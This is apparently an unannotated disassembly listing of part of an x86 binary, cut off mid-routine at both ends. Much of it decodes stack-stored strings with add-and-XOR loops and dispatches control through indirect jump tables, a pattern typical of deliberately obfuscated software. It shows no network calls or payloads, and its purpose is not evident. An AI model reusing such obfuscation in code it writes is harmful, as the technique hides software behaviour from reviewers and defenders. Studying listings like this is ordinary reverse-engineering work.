inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x40f200
push 2
push ebx
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4442c4]
mov word [esp + 0xb0], 0x21b0
lea eax, [esp + 0xb2]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 4
ja 0x40f2b9
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
movzx ecx, byte [esp + ecx + 0xb0]
add eax, 0xd70bae7a
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xa6
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 0xb0], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 5
jb 0x40f280
push 2
lea eax, [esp + 0xb4]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4442cc]
mov word [esp], 0x2a84
lea eax, [esp + 2]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 6
ja 0x40f331
nop
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
movzx ecx, byte [esp + ecx]
add eax, 0x8358c519
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xd0
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 7
jb 0x40f300
push 5
lea eax, [esp + 4]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4442d4]
mov word [esp + 0x30], 0x2fa6
lea eax, [esp + 0x31]
mov byte [eax + 3], 0
mov word [eax + 1], 0
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 4
ja 0x40f3b3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
movzx ecx, byte [esp + ecx + 0x30]
add eax, 0x49303385
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x57
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 5
jb 0x40f380
push 2
lea eax, [esp + 0x34]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4442dc]
mov word [esp + 0x38], 0xa2c7
mov dword [esp + 0x3a], 0
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x18]
cmp eax, 5
ja 0x40f433
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x18]
movzx ecx, byte [esp + ecx + 0x38]
add eax, 0x58b9c4a8
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0xf5
mov ecx, dword [esp + 0x18]
mov byte [esp + ecx + 0x38], al
inc dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 6
jb 0x40f400
push 3
lea eax, [esp + 0x3c]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4442e4]
mov eax, dword [case.0x40f791.1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor ecx, ecx
test eax, eax
setle cl
jmp dword [ecx*4 + 0x44423c]
mov dword [esp], 0x338c
mov dword [esp + 0xb0], 0
mov eax, dword [esp + 0xb0]
cmp eax, 3
ja 0x40f4e0
nop
nop
nop
nop
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb0]
movzx ecx, byte [esp + ecx]
add eax, 0x597fc8d7
xor eax, ecx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
add al, 0x15
mov ecx, dword [esp + 0xb0]
mov byte [esp + ecx], al
inc dword [esp + 0xb0]
mov eax, dword [esp + 0xb0]
cmp eax, 4
jb 0x40f4a0
mov eax, esp
push eax
push esi
call fcn.004037e0
add esp, 8
mov ebx, eax
mov word [esp + 0x48], 0xc14a
lea eax, [esp + 0x4b]
mov word [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40f554
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x65eabd4c
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x74
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40f520
lea eax, [esp + 0x48]
push eax
push esi
call fcn.004037e0
add esp, 8
test ebx, ebx
sete dl
test eax, eax
sete cl
or cl, dl
movzx ecx, cl
jmp dword [ecx*4 + 0x4443b4]
mov ecx, ebx
nop
nop
nop
nop
nop
nop
mov edx, ecx
inc ecx
cmp byte [edx], 0
jne 0x40f580
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], edi
mov ecx, edx
not ecx
and ecx, ebx
mov eax, ebx
not eax
and eax, edx
sub eax, ecx
mov edx, ebx
add edx, eax
xor esi, esi
mov dword [esp + 0x20], eax
test eax, eax
mov dword [esp + 0x10], edx
jle 0x40f5eb
cmp byte [ebx], 0
je 0x40f5eb
xor esi, esi
mov edi, ebx
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push edx
push edi
call fcn.0040db90
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [edi + eax]
inc esi
cmp ecx, edx
jae 0x40f5eb
cmp byte [edi + eax], 0
mov edi, ecx
jne 0x40f5c0
mov eax, esi
and eax, 1
xor esi, 1
lea esi, [esi + eax*2]
lea eax, [esi + esi]
test esi, esi
jns 0x40f602
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + esi*2]
add ecx, 0xfffffffe
mov esi, eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], ecx
cmp eax, ecx
mov edx, dword [esp + 0x14]
jae 0x40fad6
mov esi, dword [esp + 0x24]
cmp dword [esp + 0x20], 0
jle 0x40fad6
mov esi, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x40fad6
lea eax, [esp + 0x48]
push eax
mov edi, dword [esp + 0x14]
push edi
push ebx
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [esi], cx
add esi, 2
cmp esi, dword [esp + 0x1c]
jae 0x40fad2
add ebx, eax
cmp ebx, edi
mov edx, dword [esp + 0x14]
jb 0x40f650
jmp 0x40fad6
mov word [esp + 0x48], 0xd140
lea eax, [esp + 0x4b]
mov word [eax + 3], 0
mov dword [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40f701
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
lea edx, [eax + ecx]
add eax, 0xc8
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0xc6798ac8
mov dword [esp + 0xb0], edx
mov eax, dword [esp + 0xb0]
add al, 0xe8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40f6c0
push ebx
push esi
call fcn.004037e0
add esp, 8
mov dword [esp + 0x20], eax
mov dword [esp], 0x1289
mov dword [esp + 0xb0], 0
mov eax, dword [esp + 0xb0]
cmp eax, 3
ja 0x40f770
nop
nop
nop
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb0]
movzx ecx, byte [esp + ecx]
add eax, 0x8efd9042
xor eax, ecx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
add al, 0xaf
mov ecx, dword [esp + 0xb0]
mov byte [esp + ecx], al
inc dword [esp + 0xb0]
mov eax, dword [esp + 0xb0]
cmp eax, 4
jb 0x40f730
mov eax, esp
push eax
push esi
call fcn.004037e0
add esp, 8
mov esi, eax
mov edx, dword [esp + 0x20]
test edx, edx
sete al
test esi, esi
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44443c]
mov ecx, edx
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne 0x40f7a0
mov dword [esp + 0x28], edi
mov ecx, eax
not ecx
and ecx, edx
mov edi, edx
not edi
and edi, eax
sub edi, ecx
mov eax, edx
add eax, edi
mov dword [esp + 0x10], eax
xor ebx, ebx
mov dword [esp + 0x24], edi
test edi, edi
jle 0x40f80b
cmp byte [edx], 0
mov edx, dword [esp + 0x10]
je 0x40f80b
xor ebx, ebx
mov edi, dword [esp + 0x20]
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push edx
push edi
call fcn.0040db90
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea ecx, [edi + eax]
inc ebx
cmp ecx, edx
jae 0x40f80b
cmp byte [edi + eax], 0
mov edi, ecx
jne 0x40f7e0
mov eax, ebx
inc eax
lea eax, [ebx + ebx + 2]
jns 0x40f819
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + ebx*2]
mov ebx, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x14], ecx
cmp eax, ecx
mov edi, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
jae 0x410281
mov ebx, dword [esp + 0x2c]
cmp dword [esp + 0x24], 0
jle 0x410281
mov ebx, dword [esp + 0x2c]
mov dword [esp + 0x1c], esi
nop
nop
cmp byte [edi], 0
je 0x410281
lea eax, [esp + 0x48]
push eax
push edx
push edi
mov esi, edx
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [esp + 0x14]
jae 0x41027d
add edi, eax
cmp edi, esi
mov edx, esi
mov esi, dword [esp + 0x1c]
jb 0x40f860
jmp 0x410281
sete al
movzx eax, al
jmp dword [eax*4 + 0x444244]
mov word [esp + 0x48], 0x73c4
lea eax, [esp + 0x4b]
mov byte [eax + 1], 0
mov word [eax - 1], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x40f914
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x79ccf81b
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x91
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x40f8e0
push 2
push ebx
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44424c]
mov word [esp + 0xb0], 0x2c42
lea eax, [esp + 0xb2]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 4
ja 0x40f9a6
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx + 0xb0]
lea edx, [eax + ecx]
add eax, 0xbc
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x8a3e6cbc
mov dword [esp + 0x38], edx
mov eax, dword [esp + 0x38]
add al, 0x6f
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx + 0xb0], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 5
jb 0x40f960
push 5
lea eax, [esp + 0xb4]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x444254]
mov word [esp], 0x3e87
lea eax, [esp + 2]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 6
ja 0x40fa21
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx]
add eax, 0x2713f619
xor eax, ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
add al, 0xdc
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 7
jb 0x40f9f0
push 2
lea eax, [esp + 4]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44425c]
mov dword [esp + 0x18], 0x3bd6
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 3
ja 0x40fa93
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx + 0x18]
add eax, 0xa28f40ee
xor eax, ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
add al, 0x2c
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx + 0x18], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 4
jb 0x40fa60
push 3
lea eax, [esp + 0x1c]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x444264]
mov eax, dword [case.0x40f791.1]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [case.0x40f791.1]
lea ebx, [esp + 0x48]
nop
nop
nop
nop
nop
jmp eax
mov edx, dword [esp + 0x14]
mov word [esi], 0
xor eax, eax
nop
nop
nop
cmp byte [edx + eax], 0
lea eax, [eax + 1]
jne 0x40fae0
lea ecx, [edx + eax]
dec ecx
add eax, edx
neg eax
and eax, edx
mov esi, edx
not esi
and esi, ecx
sub esi, eax
mov edi, edx
add edi, esi
xor ebx, ebx
mov dword [esp + 0x1c], esi
test esi, esi
jle 0x40fb47
cmp byte [edx], 0
je 0x40fb47
xor ebx, ebx
mov esi, dword [esp + 0x14]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push edi
push esi
call fcn.0040db90
add esp, 0xc
lea ecx, [esi + eax]
inc ebx
cmp ecx, edi
jae 0x40fb47
cmp byte [esi + eax], 0
mov esi, ecx
jne 0x40fb20
mov eax, ebx
inc eax
lea eax, [ebx + ebx + 2]
jns 0x40fb55
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
mov dword [esp + 0x48], 0
lea ecx, [eax + ebx*2]
mov esi, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x10], ecx
cmp eax, ecx
mov ebx, dword [esp + 0x14]
jae 0x40fbbb
mov esi, dword [esp + 0x2c]
cmp dword [esp + 0x1c], 0
jle 0x40fbbb
mov esi, dword [esp + 0x2c]
nop
nop
nop
nop
nop
nop
cmp byte [ebx], 0
je 0x40fbbb
lea eax, [esp + 0x48]
push eax
push edi
push ebx
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [esi], cx
add esi, 2
cmp esi, dword [esp + 0x10]
jae 0x40fbbb
add ebx, eax
cmp ebx, edi
jb 0x40fb90
mov word [esi], 0
mov word [esp + 0x48], 0x1604
mov byte [esp + 0x4a], 0x6d
lea eax, [esp + 0x4b]
mov byte [eax + 4], 0
mov dword [eax], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40fc24
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x1b4d5cec
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x7d
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40fbf0
lea eax, [esp + 0x48]
push eax
push dword [ebp + 8]
call fcn.00403a40
add esp, 8
xor ecx, ecx
mov dword [esp + 0x20], eax
test eax, eax
setne cl
mov dword [esp + 0x1c], 0
mov dword [esp + 0x14], 0
mov edi, dword [esp + 0x28]
jmp dword [ecx*4 + 0x4443cc]
lea ebx, [esp + 0x48]
mov ecx, ebx
push 2
call fcn.0040aa30
push dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
push esi
push dword [esp + 0x34]
push dword [esp + 0x30]
push ebx
call fcn.00413fa0
add esp, 0x14
mov ecx, ebx
call fcn.0040b2c0
movzx eax, al
jmp dword [eax*4 + 0x4443ec]
mov eax, dword [esp + 0x4c]
mov byte [esp + 0xa], 0
cmp eax, 0x3ff
ja 0x40ff27
mov byte [esp + 9], 0x30
lea esi, [esp + 9]
jmp 0x40ffae
push dword [esp + 0x20]
call fcn.00403f90
add esp, 4
mov ecx, eax
mov dword [esp + 0x1c], eax
mov ecx, 0xc
mul ecx
seto dl
mov ecx, 0xffffffff
mov esi, 0xffffffff
add eax, 4
jb 0x40fce1
mov esi, eax
test dl, dl
jne 0x40fce7
mov ecx, esi
push ecx
call fcn.0040a300
add esp, 4
mov edx, dword [esp + 0x1c]
mov dword [eax], edx
add eax, 4
xor ecx, ecx
test edx, edx
sete cl
jmp dword [ecx*4 + 0x4443d4]
mov ecx, dword [esp + 0x1c]
lea ecx, [ecx + ecx*2]
lea esi, [eax + ecx*4]
mov dword [eax], 0
mov dword [eax + 4], 0
mov byte [eax + 8], 0
lea ecx, [eax + 0xc]
xor edx, edx
cmp ecx, esi
sete dl
jmp dword [edx*4 + 0x4443dc]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov byte [ecx + 8], 0
add ecx, 0xc
xor edx, edx
cmp ecx, esi
sete dl
jmp dword [edx*4 + 0x4443dc]
mov dword [esp + 0x14], eax
xor esi, esi
xor eax, eax
cmp esi, dword [esp + 0x1c]
setb al
jmp dword [eax*4 + 0x4443e4]
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.00403b70
add esp, 8
xor edx, edx
test eax, eax
setg dl
lea eax, [esi + esi*2]
mov ecx, dword [esp + 0x14]
lea ecx, [ecx + eax*4]
push edx
push dword [esp + 0x14]
push edi
call fcn.00413aa0
inc esi
xor eax, eax
cmp esi, dword [esp + 0x1c]
setb al
mov edi, dword [esp + 0x28]
jmp dword [eax*4 + 0x4443e4]
push esi
push dword [esp + 0x24]
call fcn.00403fa0
add esp, 8
mov word [esp + 0x48], 0xa1a7
mov byte [esp + 0x4a], 0x32
mov word [esp + 0x4b], 0
mov ebx, eax
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 4
ja 0x40fe24
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0xd8294fc7
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 5
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 5
jb 0x40fdf0
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.004037e0
add esp, 8
mov dword [esp + 0x10], eax
mov dword [esp], 0xe06b49
mov dword [esp + 0xb0], 0
mov eax, dword [esp + 0xb0]
cmp eax, 3
ja 0x40fea0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb0]
movzx ecx, byte [esp + ecx]
add eax, 0xc84ca517
xor eax, ecx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x48]
add al, 7
mov ecx, dword [esp + 0xb0]
mov byte [esp + ecx], al
inc dword [esp + 0xb0]
mov eax, dword [esp + 0xb0]
cmp eax, 4
jb 0x40fe60
mov eax, esp
push eax
push ebx
call fcn.004037e0
add esp, 8
mov edi, eax
mov dword [esp + 0x48], 0xe601040d
mov dword [esp + 0x4c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40fd80
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x9a990ab2
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0xad
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40fee0
jmp 0x40fd80
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x4443f4]
mov ecx, eax
shr ecx, 0xa
lea esi, [esp + 0xa]
cmp eax, 0x19000
jb 0x40ff7e
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
mov edx, 0x51eb851f
mul edx
shr edx, 5
imul eax, edx, 0x64
mov edi, ecx
sub edi, eax
movzx eax, word [edi + edi + 0x441318]
mov word [esi - 2], ax
add esi, 0xfffffffe
cmp ecx, 0x270f
mov ecx, edx
ja 0x40ff40
cmp edx, 9
ja 0x40ff85
movzx eax, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi - 1], al
dec esi
jmp 0x40ffaa
mov edx, ecx
cmp edx, 9
jbe 0x40ff71
mov eax, edx
and eax, 0x7d
mov ecx, edx
and ecx, 2
or edx, 2
imul edx, ecx
xor ecx, 2
imul ecx, eax
movzx eax, word [ecx + edx + 0x441318]
mov word [esi - 2], ax
add esi, 0xfffffffe
mov edi, dword [esp + 0x28]
mov dword [esp + 0x30], 0x7d60b9a5
mov byte [esp + 0x34], 0
mov dword [esp + 0x38], 0
mov eax, dword [esp + 0x38]
cmp eax, 4
ja 0x410020
nop
nop
nop
nop
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x38]
movzx ecx, byte [esp + ecx + 0x30]
lea edx, [eax + ecx]
add edx, 0x59177d13
add eax, 0x59177d13
and eax, ecx
mov ecx, edx
xor ecx, eax
add ecx, eax
not eax
and eax, edx
add eax, eax
sub eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x95
mov ecx, dword [esp + 0x38]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 0x38]
mov eax, dword [esp + 0x38]
cmp eax, 5
jb 0x40ffd0
mov dword [esp + 0xb0], 0x3e3f4d46
mov dword [esp + 0xb4], 0x884e3c3e
mov dword [esp + 0xb8], 0xc0be4945
mov dword [esp + 0xbc], 0xcc71bab8
mov dword [esp + 0xc0], 0xb3c072c2
mov dword [esp + 0xc4], 0xb579b2c9
mov dword [esp + 0xc8], 0xd3d4c8b3
mov dword [esp + 0xcc], 0x60d6d9ac
mov dword [esp + 0xd0], 0xd9a0a1d3
mov dword [esp + 0xd4], 0xd469d2a0
mov dword [esp + 0xd8], 0x9ce96ada
mov dword [esp + 0xdc], 0x9fec5698
mov dword [esp + 0xe0], 0xee92ece1
mov dword [esp + 0xe4], 0xe9e55eab
mov dword [esp + 0xe8], 0x44f199e7
mov dword [esp + 0xec], 0xf58c85f7
mov dword [esp + 0xf0], 0xf14dfe8c
mov dword [esp + 0xf4], 0xb286f484
mov word [esp + 0xf8], 0x6a4b
lea eax, [esp + 0xb2]
mov byte [eax + 0x4c], 0
mov dword [eax + 0x48], 0
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 0x4e
ja 0x410159
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx + 0xb0]
add eax, 0xad0b3676
xor eax, ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
add al, 0x2b
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx + 0xb0], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 0x4f
jb 0x410120
lea eax, [0x44895f]
nop
cmp byte [eax + 1], 0
lea eax, [eax + 1]
jne 0x410160
movzx ecx, byte [esp + 0xb0]
test cl, cl
je 0x410192
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax + edx], cl
movzx ecx, byte [esp + edx + 0xb1]
inc edx
test cl, cl
jne 0x410180
add eax, edx
mov byte [eax], 0
movzx ecx, byte [esi]
test cl, cl
je 0x4101ab
inc esi
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [esi]
inc esi
test cl, cl
jne 0x4101a0
mov byte [eax], 0
movzx ecx, byte [esp + 0x30]
test cl, cl
je 0x4101cd
lea edx, [esp + 0x31]
mov esi, dword [esp + 0x14]
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4101c0
jmp 0x4101d1
mov esi, dword [esp + 0x14]
mov byte [eax], 0
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x4443f4]
jmp dword [0x444408]
jmp dword [0x44441c]
mov esi, dword [esp + 0x1c]
mov word [ebx], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi + eax], 0
lea eax, [eax + 1]
jne 0x410290
lea ecx, [esi + eax]
dec ecx
add eax, esi
neg eax
and eax, esi
mov ebx, esi
not ebx
and ebx, ecx
sub ebx, eax
mov eax, ebx
inc eax
lea eax, [ebx + ebx + 2]
jns 0x4102b9
mov eax, 0xffffffff
push eax
call fcn.0040a300
add esp, 4
lea edx, [eax + ebx*2]
add edx, 2
test esi, esi
jne 0x4102eb
mov ecx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ebx, [ecx + 1]
cmp byte [ecx + 1], 0
mov ecx, ebx
jne 0x4102e0
mov dword [esp + 0x48], 0
add edx, 0xfffffffe
mov edi, eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x10], edx
cmp eax, edx
jae 0x41034b
mov edi, dword [esp + 0x44]
test ebx, ebx
jle 0x41034b
mov eax, esi
add eax, ebx
mov ebx, eax
mov edi, dword [esp + 0x44]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [esi], 0
je 0x41034b
lea eax, [esp + 0x48]
push eax
push ebx
push esi
call fcn.0040db90
add esp, 0xc
movzx ecx, word [esp + 0x48]
mov word [edi], cx
add edi, 2
cmp edi, dword [esp + 0x10]
jae 0x41034b
add esi, eax
cmp esi, ebx
jb 0x410320
mov word [edi], 0
mov word [esp + 0x48], 0xca30
mov byte [esp + 0x4a], 0x41
lea eax, [esp + 0x4b]
mov byte [eax + 2], 0
mov word [eax], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x4103b4
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x48]
add eax, 0x7b9b76cc
xor eax, ecx
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb0]
add al, 0x71
mov ecx, dword [esp]
mov byte [esp + ecx + 0x48], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x410380
lea ebx, [esp + 0x48]
push ebx
push dword [ebp + 8]
call fcn.00403a40
add esp, 8
xor ecx, ecx
mov dword [esp + 0x24], eax
test eax, eax
setne cl
xor edx, edx
xor edi, edi
jmp dword [ecx*4 + 0x444444]
mov dword [esp + 0x20], edi
mov esi, edx
mov edi, dword [esp + 0x44]
jmp dword [0x444494]
push dword [esp + 0x24]
call fcn.00403f90
add esp, 4
mov edi, eax
mov ecx, 0xc
mul ecx
seto dl
mov ecx, 0xffffffff
mov esi, 0xffffffff
add eax, 4
jb 0x410413
mov esi, eax
test dl, dl
jne 0x410419
mov ecx, esi
push ecx
call fcn.0040a300
add esp, 4
mov dword [eax], edi
add eax, 4
mov dword [esp + 0x1c], eax
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44444c]
lea eax, [edi + edi*2]
mov edx, dword [esp + 0x1c]
lea eax, [edx + eax*4]
mov ecx, dword [case.0x4103d3.4]
jmp ecx
mov word [esp + 0x30], 0xe8d4
mov byte [esp + 0x32], 0x64
lea eax, [esp + 0x31]
mov byte [eax + 4], 0
mov word [eax + 2], 0
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
cmp eax, 5
ja 0x4104b3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
movzx ecx, byte [esp + ecx + 0x30]
add eax, 0x68381187
xor eax, ecx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x38]
add al, 0x13
mov ecx, dword [esp + 0xc]
mov byte [esp + ecx + 0x30], al
inc dword [esp + 0xc]
mov eax, dword [esp + 0xc]
cmp eax, 6
jb 0x410480
push 3
lea eax, [esp + 0x34]
push eax
push esi
call fcn.00403e70
add esp, 0xc
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44426c]
mov word [esp + 0x48], 0xa91e
mov dword [esp + 0x4a], 0
mov dword [esp], 0
